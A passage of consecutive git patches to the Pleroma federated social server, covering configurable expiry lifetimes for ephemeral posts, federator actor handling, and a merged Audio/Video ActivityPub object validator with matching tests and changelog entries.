expires_late_enough?(scheduled_at) do now = DateTime.utc_now() diff = DateTime.diff(scheduled_at, now, :millisecond) - diff > :timer.hours(1) + min_lifetime = Pleroma.Config.get([__MODULE__, :min_lifetime], 600) + diff > :timer.seconds(min_lifetime) end end diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs index 82ea73898..633a25e50 100644 --- a/test/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/web/mastodon_api/controllers/status_controller_test.exs @@ -129,8 +129,8 @@ test "posting a status", %{conn: conn} do test "it fails to create a status if `expires_in` is less or equal than an hour", %{ conn: conn } do - # 1 hour - expires_in = 60 * 60 + # 1 minute + expires_in = 1 * 60 assert %{"error" => "Expiry date is too soon"} = conn @@ -141,8 +141,8 @@ test "it fails to create a status if `expires_in` is less or equal than an hour" }) |> json_response_and_validate_schema(422) - # 30 minutes - expires_in = 30 * 60 + # 5 minutes + expires_in = 5 * 60 assert %{"error" => "Expiry date is too soon"} = conn -- cgit v1.2.3 From a098e10fd6d9f3b6573e2fb6333335d40a9bf330 Mon Sep 17 00:00:00 2001 From: rinpatch Date: Tue, 8 Sep 2020 12:07:33 +0300 Subject: Document ephemeral activity changes better Also remove the example from the cheatsheet, there is no need for it when the types are simple --- CHANGELOG.md | 3 +++ docs/configuration/cheatsheet.md | 8 +------- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 79cf02c96..a58a18c8c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - **Breaking:** Removed `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` config. - **Breaking:** Removed `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab`. +### Changed +- Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). + ## [2.1.1] - 2020-09-08 ### Security diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index 8f2425384..7cf1d1ce7 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -1092,15 +1092,9 @@ config :pleroma, :frontends, This would serve the frontend from the the folder at `$instance_static/frontends/pleroma/stable`. You have to copy the frontend into this folder yourself. You can choose the name and ref any way you like, but they will be used by mix tasks to automate installation in the future, the name referring to the project and the ref referring to a commit. -## Ephemeral activities +## Ephemeral activities (Pleroma.Workers.PurgeExpiredActivity) Settings to enable and configure expiration for ephemeral activities * `:enabled` - enables ephemeral activities creation * `:min_lifetime` - minimum lifetime for ephemeral activities (in seconds). Default: 10 minutes. - -Example: - -```elixir - config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true, min_lifetime: 600 -``` -- cgit v1.2.3 From 15aece72382fe1862a58728b9d02990147f91365 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov Date: Tue, 8 Sep 2020 15:11:18 +0300 Subject: remove validate_expires_at from enqueue method --- lib/mix/tasks/pleroma/database.ex | 3 +- lib/pleroma/workers/purge_expired_activity.ex | 13 +-------- ...825061316_move_activity_expirations_to_oban.exs | 3 +- test/workers/purge_expired_activity_test.exs | 34 +++++++++++++++------- 4 files changed, 26 insertions(+), 27 deletions(-) diff --git a/lib/mix/tasks/pleroma/database.ex b/lib/mix/tasks/pleroma/database.ex index aab4b5e9a..7f1108dcf 100644 --- a/lib/mix/tasks/pleroma/database.ex +++ b/lib/mix/tasks/pleroma/database.ex @@ -155,8 +155,7 @@ def run(["ensure_expiration"]) do Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ activity_id: activity.id, - expires_at: expires_at, - validate: false + expires_at: expires_at }) end) end) diff --git a/lib/pleroma/workers/purge_expired_activity.ex b/lib/pleroma/workers/purge_expired_activity.ex index ffcb89dc3..c168890a2 100644 --- a/lib/pleroma/workers/purge_expired_activity.ex +++ b/lib/pleroma/workers/purge_expired_activity.ex @@ -18,8 +18,7 @@ defmodule Pleroma.Workers.PurgeExpiredActivity do | {:error, :expired_activities_disabled} | {:error, :expiration_too_close} def enqueue(args) do - with true <- enabled?(), - args when is_map(args) <- validate_expires_at(args) do + with true <- enabled?() do {scheduled_at, args} = Map.pop(args, :expires_at) args @@ -42,16 +41,6 @@ defp enabled? do end end - defp validate_expires_at(%{validate: false} = args), do: Map.delete(args, :validate) - - defp validate_expires_at(args) do - if expires_late_enough?(args[:expires_at]) do - args - else - {:error, :expiration_too_close} - end - end - defp find_activity(id) do with nil <- Activity.get_by_id_with_object(id) do {:error, :activity_not_found} diff --git a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs index 137933368..cdc00d20b 100644 --- a/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs +++ b/priv/repo/migrations/20200825061316_move_activity_expirations_to_oban.exs @@ -17,8 +17,7 @@ def change do with {:ok, expires_at} <- DateTime.from_naive(expiration.scheduled_at, "Etc/UTC") do Pleroma.Workers.PurgeExpiredActivity.enqueue(%{ activity_id: FlakeId.to_string(expiration.activity_id), - expires_at: expires_at, - validate: false + expires_at: expires_at }) end end) diff --git a/test/workers/purge_expired_activity_test.exs b/test/workers/purge_expired_activity_test.exs index 8b5dc9fd2..b5938776d 100644 --- a/test/workers/purge_expired_activity_test.exs +++ b/test/workers/purge_expired_activity_test.exs @@ -10,22 +10,27 @@ defmodule Pleroma.Workers.PurgeExpiredActivityTest do alias Pleroma.Workers.PurgeExpiredActivity - test "denies expirations that don't live long enough" do + test "enqueue job" do activity = insert(:note_activity) - assert {:error, :expiration_too_close} = + assert {:ok, _} = PurgeExpiredActivity.enqueue(%{ activity_id: activity.id, - expires_at: DateTime.utc_now() + expires_at: DateTime.add(DateTime.utc_now(), 3601) }) - refute_enqueued( + assert_enqueued( worker: Pleroma.Workers.PurgeExpiredActivity, args: %{activity_id: activity.id} ) + + assert {:ok, _} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + + assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) end - test "enqueue job" do + test "error if user was not found" do activity = insert(:note_activity) assert {:ok, _} = @@ -34,14 +39,21 @@ test "enqueue job" do expires_at: DateTime.add(DateTime.utc_now(), 3601) }) - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id} - ) + user = Pleroma.User.get_by_ap_id(activity.actor) + Pleroma.Repo.delete(user) - assert {:ok, _} = + assert {:error, :user_not_found} = perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: activity.id}) + end - assert %Oban.Job{} = Pleroma.Workers.PurgeExpiredActivity.get_expiration(activity.id) + test "error if actiivity was not found" do + assert {:ok, _} = + PurgeExpiredActivity.enqueue(%{ + activity_id: "some_id", + expires_at: DateTime.add(DateTime.utc_now(), 3601) + }) + + assert {:error, :activity_not_found} = + perform_job(Pleroma.Workers.PurgeExpiredActivity, %{activity_id: "some_if"}) end end -- cgit v1.2.3 From 82b56cdb9bc01dcf4dbd2ac0c06103af0900787d Mon Sep 17 00:00:00 2001 From: rinpatch Date: Thu, 10 Sep 2020 21:53:58 +0300 Subject: CHANGELOG.md: clarify that the functionality is not removed, just the config options --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a58a18c8c..75357f05e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -12,9 +12,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Removed -- **Breaking:** Removed `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab`. -- **Breaking:** Removed `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` config. -- **Breaking:** Removed `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab`. +- **Breaking:** `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab` (moved to a simpler implementation). +- **Breaking:** `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` (moved to scheduled jobs). +- **Breaking:** `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab` (moved to scheduled jobs). ### Changed - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). -- cgit v1.2.3 From 4d18a50f3c4b6654339a6a8df71160e23b45cac0 Mon Sep 17 00:00:00 2001 From: Ivan Tashkinov Date: Thu, 10 Sep 2020 21:54:26 +0300 Subject: [#2497] Formatting fix. --- lib/pleroma/web/media_proxy/media_proxy_controller.ex | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/pleroma/web/media_proxy/media_proxy_controller.ex b/lib/pleroma/web/media_proxy/media_proxy_controller.ex index 5621f72dc..ff7fd2409 100644 --- a/lib/pleroma/web/media_proxy/media_proxy_controller.ex +++ b/lib/pleroma/web/media_proxy/media_proxy_controller.ex @@ -158,7 +158,7 @@ defp put_preview_response_headers( |> put_resp_header("cache-control", ReverseProxy.default_cache_control_header()) end - defp thumbnail_max_dimensions() do + defp thumbnail_max_dimensions do config = Config.get([:media_preview_proxy], []) thumbnail_max_width = Keyword.fetch!(config, :thumbnail_max_width) -- cgit v1.2.3 From da876d09e89bcfec6f2d1eaddb396f68ce48e12a Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Thu, 10 Sep 2020 23:13:51 +0200 Subject: federator: normalize only actor, catch actor error --- lib/pleroma/web/federator/federator.ex | 16 +++++++++++----- 1 file changed, 11 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/federator/federator.ex b/lib/pleroma/web/federator/federator.ex index f5803578d..e4ab9ba32 100644 --- a/lib/pleroma/web/federator/federator.ex +++ b/lib/pleroma/web/federator/federator.ex @@ -66,14 +66,17 @@ def perform(:publish, activity) do def perform(:incoming_ap_doc, params) do Logger.debug("Handling incoming AP activity") - params = Utils.normalize_params(params) + actor = + params + |> Map.get("actor") + |> Utils.get_ap_id() # NOTE: we use the actor ID to do the containment, this is fine because an # actor shouldn't be acting on objects outside their own AP server. - with {:ok, _user} <- ap_enabled_actor(params["actor"]), + with {_, {:ok, _user}} <- {:actor, ap_enabled_actor(actor)}, nil <- Activity.normalize(params["id"]), {_, :ok} <- - {:correct_origin?, Containment.contain_origin_from_id(params["actor"], params)}, + {:correct_origin?, Containment.contain_origin_from_id(actor, params)}, {:ok, activity} <- Transmogrifier.handle_incoming(params) do {:ok, activity} else @@ -85,10 +88,13 @@ def perform(:incoming_ap_doc, params) do Logger.debug("Already had #{params["id"]}") {:error, :already_present} + {:actor, e} -> + Logger.debug("Unhandled actor #{actor}, #{inspect(e)}") + {:error, e} + e -> # Just drop those for now - Logger.debug("Unhandled activity") - Logger.debug(Jason.encode!(params, pretty: true)) + Logger.debug("Unhandled activity\n" <> Jason.encode!(params, pretty: true)) {:error, e} end end -- cgit v1.2.3 From b73e9ef68689a7094e80e2affa0af9b05e86effb Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Tue, 25 Aug 2020 09:19:53 +0200 Subject: transmogrifier: Call strip_internal_fields on pipeline ingestion --- lib/pleroma/web/activity_pub/transmogrifier.ex | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index af4384213..ec3b24206 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -550,6 +550,8 @@ def handle_incoming( _options ) when objtype in ~w{Question Answer ChatMessage Audio Event} do + data = Map.put(data, "object", strip_internal_fields(data["object"])) + with {:ok, %User{}} <- ObjectValidator.fetch_actor(data), {:ok, activity, _} <- Pipeline.common_pipeline(data, local: false) do {:ok, activity} -- cgit v1.2.3 From 846b59ccb09681bda0f54bed43f5b82883228e33 Mon Sep 17 00:00:00 2001 From: "Haelwenn (lanodan) Monnier" Date: Thu, 20 Aug 2020 02:00:04 +0200 Subject: Pipeline Ingestion: Video --- lib/pleroma/web/activity_pub/activity_pub.ex | 2 +- lib/pleroma/web/activity_pub/object_validator.ex | 16 ++- .../object_validators/audio_validator.ex | 107 --------------- .../object_validators/audio_video_validator.ex | 134 +++++++++++++++++++ .../activity_pub/object_validators/common_fixes.ex | 9 ++ .../object_validators/create_generic_validator.ex | 8 +- lib/pleroma/web/activity_pub/side_effects.ex | 2 +- lib/pleroma/web/activity_pub/transmogrifier.ex | 37 +----- test/fixtures/tesla_mock/framatube.org-video.json | 2 +- .../transmogrifier/video_handling_test.exs | 93 +++++++++++++ test/web/activity_pub/transmogrifier_test.exs | 148 +-------------------- 11 files changed, 257 insertions(+), 301 deletions(-) delete mode 100644 lib/pleroma/web/activity_pub/object_validators/audio_validator.ex create mode 100644 lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex create mode 100644 test/web/activity_pub/transmogrifier/video_handling_test.exs diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index 66a9f78a3..bceec8bd1 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -84,7 +84,7 @@ defp increase_replies_count_if_reply(%{ defp increase_replies_count_if_reply(_create_data), do: :noop - @object_types ~w[ChatMessage Question Answer Audio Event] + @object_types ~w[ChatMessage Question Answer Audio Video Event] @spec persist(map(), keyword()) :: {:ok, Activity.t() | Object.t()} def persist(%{"type" => type} = object, meta) when type in @object_types do with {:ok, object} <- Object.create(object) do diff --git a/lib/pleroma/web/activity_pub/object_validator.ex b/lib/pleroma/web/activity_pub/object_validator.ex index b77c06395..081f96389 100644 --- a/lib/pleroma/web/activity_pub/object_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validator.ex @@ -12,11 +12,12 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidator do alias Pleroma.Activity alias Pleroma.EctoType.ActivityPub.ObjectValidators alias Pleroma.Object + alias Pleroma.Object.Containment alias Pleroma.User alias Pleroma.Web.ActivityPub.ObjectValidators.AcceptRejectValidator alias Pleroma.Web.ActivityPub.ObjectValidators.AnnounceValidator alias Pleroma.Web.ActivityPub.ObjectValidators.AnswerValidator - alias Pleroma.Web.ActivityPub.ObjectValidators.AudioValidator + alias Pleroma.Web.ActivityPub.ObjectValidators.AudioVideoValidator alias Pleroma.Web.ActivityPub.ObjectValidators.BlockValidator alias Pleroma.Web.ActivityPub.ObjectValidators.ChatMessageValidator alias Pleroma.Web.ActivityPub.ObjectValidators.CreateChatMessageValidator @@ -149,10 +150,10 @@ def validate(%{"type" => "Question"} = object, meta) do end end - def validate(%{"type" => "Audio"} = object, meta) do + def validate(%{"type" => type} = object, meta) when type in ~w[Audio Video] do with {:ok, object} <- object - |> AudioValidator.cast_and_validate() + |> AudioVideoValidator.cast_and_validate() |> Ecto.Changeset.apply_action(:insert) do object = stringify_keys(object) {:ok, object, meta} @@ -198,7 +199,7 @@ def validate( %{"type" => "Create", "object" => %{"type" => objtype} = object} = create_activity, meta ) - when objtype in ~w[Question Answer Audio Event] do + when objtype in ~w[Question Answer Audio Video Event] do with {:ok, object_data} <- cast_and_apply(object), meta = Keyword.put(meta, :object_data, object_data |> stringify_keys), {:ok, create_activity} <- @@ -232,8 +233,8 @@ def cast_and_apply(%{"type" => "Answer"} = object) do AnswerValidator.cast_and_apply(object) end - def cast_and_apply(%{"type" => "Audio"} = object) do - AudioValidator.cast_and_apply(object) + def cast_and_apply(%{"type" => type} = object) when type in ~w[Audio Video] do + AudioVideoValidator.cast_and_apply(object) end def cast_and_apply(%{"type" => "Event"} = object) do @@ -262,7 +263,8 @@ def stringify_keys(object) when is_list(object) do def stringify_keys(object), do: object def fetch_actor(object) do - with {:ok, actor} <- ObjectValidators.ObjectID.cast(object["actor"]) do + with actor <- Containment.get_actor(object), + {:ok, actor} <- ObjectValidators.ObjectID.cast(actor) do User.get_or_fetch_by_ap_id(actor) end end diff --git a/lib/pleroma/web/activity_pub/object_validators/audio_validator.ex b/lib/pleroma/web/activity_pub/object_validators/audio_validator.ex deleted file mode 100644 index 1a97c504a..000000000 --- a/lib/pleroma/web/activity_pub/object_validators/audio_validator.ex +++ /dev/null @@ -1,107 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.AudioValidator do - use Ecto.Schema - - alias Pleroma.EctoType.ActivityPub.ObjectValidators - alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator - alias Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes - alias Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations - alias Pleroma.Web.ActivityPub.Transmogrifier - - import Ecto.Changeset - - @primary_key false - @derive Jason.Encoder - - embedded_schema do - field(:id, ObjectValidators.ObjectID, primary_key: true) - field(:to, ObjectValidators.Recipients, default: []) - field(:cc, ObjectValidators.Recipients, default: []) - field(:bto, ObjectValidators.Recipients, default: []) - field(:bcc, ObjectValidators.Recipients, default: []) - # TODO: Write type - field(:tag, {:array, :map}, default: []) - field(:type, :string) - field(:content, :string) - field(:context, :string) - - # TODO: Remove actor on objects - field(:actor, ObjectValidators.ObjectID) - - field(:attributedTo, ObjectValidators.ObjectID) - field(:summary, :string) - field(:published, ObjectValidators.DateTime) - field(:emoji, ObjectValidators.Emoji, default: %{}) - field(:sensitive, :boolean, default: false) - embeds_many(:attachment, AttachmentValidator) - field(:replies_count, :integer, default: 0) - field(:like_count, :integer, default: 0) - field(:announcement_count, :integer, default: 0) - field(:inReplyTo, :string) - field(:url, ObjectValidators.Uri) - # short identifier for PleromaFE to group statuses by context - field(:context_id, :integer) - - field(:likes, {:array, :string}, default: []) - field(:announcements, {:array, :string}, default: []) - end - - def cast_and_apply(data) do - data - |> cast_data - |> apply_action(:insert) - end - - def cast_and_validate(data) do - data - |> cast_data() - |> validate_data() - end - - def cast_data(data) do - %__MODULE__{} - |> changeset(data) - end - - defp fix_url(%{"url" => url} = data) when is_list(url) do - attachment = - Enum.find(url, fn x -> is_map(x) and String.starts_with?(x["mimeType"], "audio/") end) - - link_element = Enum.find(url, fn x -> is_map(x) and x["mimeType"] == "text/html" end) - - data - |> Map.put("attachment", [attachment]) - |> Map.put("url", link_element["href"]) - end - - defp fix_url(data), do: data - - defp fix(data) do - data - |> CommonFixes.fix_defaults() - |> CommonFixes.fix_attribution() - |> Transmogrifier.fix_emoji() - |> fix_url() - end - - def changeset(struct, data) do - data = fix(data) - - struct - |> cast(data, __schema__(:fields) -- [:attachment]) - |> cast_embed(:attachment) - end - - def validate_data(data_cng) do - data_cng - |> validate_inclusion(:type, ["Audio"]) - |> validate_required([:id, :actor, :attributedTo, :type, :context, :attachment]) - |> CommonValidations.validate_any_presence([:cc, :to]) - |> CommonValidations.validate_fields_match([:actor, :attributedTo]) - |> CommonValidations.validate_actor_presence() - |> CommonValidations.validate_host_match() - end -end diff --git a/lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex b/lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex new file mode 100644 index 000000000..a6119e627 --- /dev/null +++ b/lib/pleroma/web/activity_pub/object_validators/audio_video_validator.ex @@ -0,0 +1,134 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.AudioVideoValidator do + use Ecto.Schema + + alias Pleroma.EarmarkRenderer + alias Pleroma.EctoType.ActivityPub.ObjectValidators + alias Pleroma.Web.ActivityPub.ObjectValidators.AttachmentValidator + alias Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes + alias Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Ecto.Changeset + + @primary_key false + @derive Jason.Encoder + + embedded_schema do + field(:id, ObjectValidators.ObjectID, primary_key: true) + field(:to, ObjectValidators.Recipients, default: []) + field(:cc, ObjectValidators.Recipients, default: []) + field(:bto, ObjectValidators.Recipients, default: []) + field(:bcc, ObjectValidators.Recipients, default: []) + # TODO: Write type + field(:tag, {:array, :map}, default: []) + field(:type, :string) + + field(:name, :string) + field(:summary, :string) + field(:content, :string) + + field(:context, :string) + # short identifier for PleromaFE to group statuses by context + field(:context_id, :integer) + + # TODO: Remove actor on objects + field(:actor, ObjectValidators.ObjectID) + + field(:attributedTo, ObjectValidators.ObjectID) + field(:published, ObjectValidators.DateTime) + field(:emoji, ObjectValidators.Emoji, default: %{}) + field(:sensitive, :boolean, default: false) + embeds_many(:attachment, AttachmentValidator) + field(:replies_count, :integer, default: 0) + field(:like_count, :integer, default: 0) + field(:announcement_count, :integer, default: 0) + field(:inReplyTo, ObjectValidators.ObjectID) + field(:url, ObjectValidators.Uri) + + field(:likes, {:array, :string}, default: []) + field(:announcements, {:array, :string}, default: []) + end + + def cast_and_apply(data) do + data + |> cast_data + |> apply_action(:insert) + end + + def cast_and_validate(data) do + data + |> cast_data() + |> validate_data() + end + + def cast_data(data) do + %__MODULE__{} + |> changeset(data) + end + + defp fix_url(%{"url" => url} = data) when is_list(url) do + attachment = + Enum.find(url, fn x -> + mime_type = x["mimeType"] || x["mediaType"] || "" + + is_map(x) and String.starts_with?(mime_type, ["video/", "audio/"]) + end) + + link_element = + Enum.find(url, fn x -> + mime_type = x["mimeType"] || x["mediaType"] || "" + + is_map(x) and mime_type == "text/html" + end) + + data + |> Map.put("attachment", [attachment]) + |> Map.put("url", link_element["href"]) + end + + defp fix_url(data), do: data + + defp fix_content(%{"mediaType" => "text/markdown", "content" => content} = data) + when is_binary(content) do + content = + content + |> Earmark.as_html!(%Earmark.Options{renderer: EarmarkRenderer}) + |> Pleroma.HTML.filter_tags() + + Map.put(data, "content", content) + end + + defp fix_content(data), do: data + + defp fix(data) do + data + |> CommonFixes.fix_defaults() + |> CommonFixes.fix_attribution() + |> CommonFixes.fix_actor() + |> Transmogrifier.fix_emoji() + |> fix_url() + |> fix_content() + end + + def changeset(struct, data) do + data = fix(data) + + struct + |> cast(data, __schema__(:fields) -- [:attachment]) + |> cast_embed(:attachment) + end + + def validate_data(data_cng) do + data_cng + |> validate_inclusion(:type, ["Audio", "Video"]) + |> validate_required([:id, :actor, :attributedTo, :type, :context, :attachment]) + |> CommonValidations.validate_any_presence([:cc, :to]) + |> CommonValidations.validate_fields_match([:actor, :attributedTo]) + |> CommonValidations.validate_actor_presence() + |> CommonValidations.validate_host_match() + end +end diff --git a/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex b/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex index 720213d73..b3638cfc7 100644 --- a/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex +++ b/lib/pleroma/web/activity_pub/object_validators/common_fixes.ex @@ -3,6 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only defmodule Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes do + alias Pleroma.Object.Containment alias Pleroma.Web.ActivityPub.Utils # based on Pleroma.Web.ActivityPub.Utils.lazy_put_objects_defaults @@ -19,4 +20,12 @@ def fix_attribution(data) do data |> Map.put_new("actor", data["attributedTo"]) end + + def fix_actor(data) do + actor = Containment.get_actor(data) + + data + |> Map.put("actor", actor) + |> Map.put("attributedTo", actor) + end end diff --git a/lib/pleroma/web/activity_pub/object_validators/create_generic_validator.ex b/lib/pleroma/web/activity_pub/object_validators/create_generic_validator.ex index b3dbeea57..422ee07be 100644 --- a/lib/pleroma/web/activity_pub/object_validators/create_generic_validator.ex +++ b/lib/pleroma/web/activity_pub/object_validators/create_generic_validator.ex @@ -10,9 +10,10 @@ defmodule Pleroma.Web.ActivityPub.ObjectValidators.CreateGenericValidator do alias Pleroma.EctoType.ActivityPub.ObjectValidators alias Pleroma.Object + alias Pleroma.Web.ActivityPub.ObjectValidators.CommonFixes + alias Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations import Ecto.Changeset - import Pleroma.Web.ActivityPub.ObjectValidators.CommonValidations @primary_key false @@ -75,14 +76,15 @@ defp fix(data, meta) do data |> fix_context(meta) |> fix_addressing(meta) + |> CommonFixes.fix_actor() end def validate_data(cng, meta \\ []) do cng |> validate_required([:actor, :type, :object]) |> validate_inclusion(:type, ["Create"]) - |> validate_actor_presence() - |> validate_any_presence([:to, :cc]) + |> CommonValidations.validate_actor_presence() + |> CommonValidations.validate_any_presence([:to, :cc]) |> validate_actors_match(meta) |> validate_context_match(meta) |> validate_object_nonexistence() diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex index 46a8be767..b5c720c7a 100644 --- a/lib/pleroma/web/activity_pub/side_effects.ex +++ b/lib/pleroma/web/activity_pub/side_effects.ex @@ -336,7 +336,7 @@ def handle_object_creation(%{"type" => "Answer"} = object_map, meta) do end def handle_object_creation(%{"type" => objtype} = object, meta) - when objtype in ~w[Audio Question Event] do + when objtype in ~w[Audio Video Question Event] do with {:ok, object, meta} <- Pipeline.common_pipeline(object, meta) do {:ok, object, meta} end diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index ec3b24206..e14936c10 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -7,7 +7,6 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier do A module to handle coding from internal to wire ActivityPub and back. """ alias Pleroma.Activity - alias Pleroma.EarmarkRenderer alias Pleroma.EctoType.ActivityPub.ObjectValidators alias Pleroma.Maps alias Pleroma.Object @@ -45,7 +44,6 @@ def fix_object(object, options \\ []) do |> fix_addressing |> fix_summary |> fix_type(options) - |> fix_content end def fix_summary(%{"summary" => nil} = object) do @@ -274,24 +272,7 @@ def fix_url(%{"url" => url} = object) when is_map(url) do Map.put(object, "url", url["href"]) end - def fix_url(%{"type" => "Video", "url" => url} = object) when is_list(url) do - attachment = - Enum.find(url, fn x -> - media_type = x["mediaType"] || x["mimeType"] || "" - - is_map(x) and String.starts_with?(media_type, "video/") - end) - - link_element = - Enum.find(url, fn x -> is_map(x) and (x["mediaType"] || x["mimeType"]) == "text/html" end) - - object - |> Map.put("attachment", [attachment]) - |> Map.put("url", link_element["href"]) - end - - def fix_url(%{"type" => object_type, "url" => url} = object) - when object_type != "Video" and is_list(url) do + def fix_url(%{"url" => url} = object) when is_list(url) do first_element = Enum.at(url, 0) url_string = @@ -371,18 +352,6 @@ def fix_type(%{"inReplyTo" => reply_id, "name" => _} = object, options) def fix_type(object, _), do: object - defp fix_content(%{"mediaType" => "text/markdown", "content" => content} = object) - when is_binary(content) do - html_content = - content - |> Earmark.as_html!(%Earmark.Options{renderer: EarmarkRenderer}) - |> Pleroma.HTML.filter_tags() - - Map.merge(object, %{"content" => html_content, "mediaType" => "text/html"}) - end - - defp fix_content(object), do: object - # Reduce the object list to find the reported user. defp get_reported(objects) do Enum.reduce_while(objects, nil, fn ap_id, _ -> @@ -455,7 +424,7 @@ def handle_incoming( %{"type" => "Create", "object" => %{"type" => objtype} = object} = data, options ) - when objtype in ~w{Article Note Video Page} do + when objtype in ~w{Article Note Page} do actor = Containment.get_actor(data) with nil <- Activity.get_create_by_object_ap_id(object["id"]), @@ -549,7 +518,7 @@ def handle_incoming( %{"type" => "Create", "object" => %{"type" => objtype}} = data, _options ) - when objtype in ~w{Question Answer ChatMessage Audio Event} do + when objtype in ~w{Question Answer ChatMessage Audio Video Event} do data = Map.put(data, "object", strip_internal_fields(data["object"])) with {:ok, %User{}} <- ObjectValidator.fetch_actor(data), diff --git a/test/fixtures/tesla_mock/framatube.org-video.json b/test/fixtures/tesla_mock/framatube.org-video.json index 3d53f0c97..1fa529886 100644 --- a/test/fixtures/tesla_mock/framatube.org-video.json +++ b/test/fixtures/tesla_mock/framatube.org-video.json @@ -1 +1 @@ -{"type":"Video","id":"https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206","name":"Déframasoftisons Internet [Framasoft]","duration":"PT3622S","uuid":"6050732a-8a7a-43d4-a6cd-809525a1d206","tag":[{"type":"Hashtag","name":"déframasoftisons"},{"type":"Hashtag","name":"EPN23"},{"type":"Hashtag","name":"framaconf"},{"type":"Hashtag","name":"Framasoft"},{"type":"Hashtag","name":"pyg"}],"category":{"identifier":"15","name":"Science & Technology"},"views":122,"sensitive":false,"waitTranscoding":false,"state":1,"commentsEnabled":true,"downloadEnabled":true,"published":"2020-05-24T18:34:31.569Z","originallyPublishedAt":"2019-11-30T23:00:00.000Z","updated":"2020-07-05T09:01:01.720Z","mediaType":"text/markdown","content":"Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?\r\n\r\nTranscription par 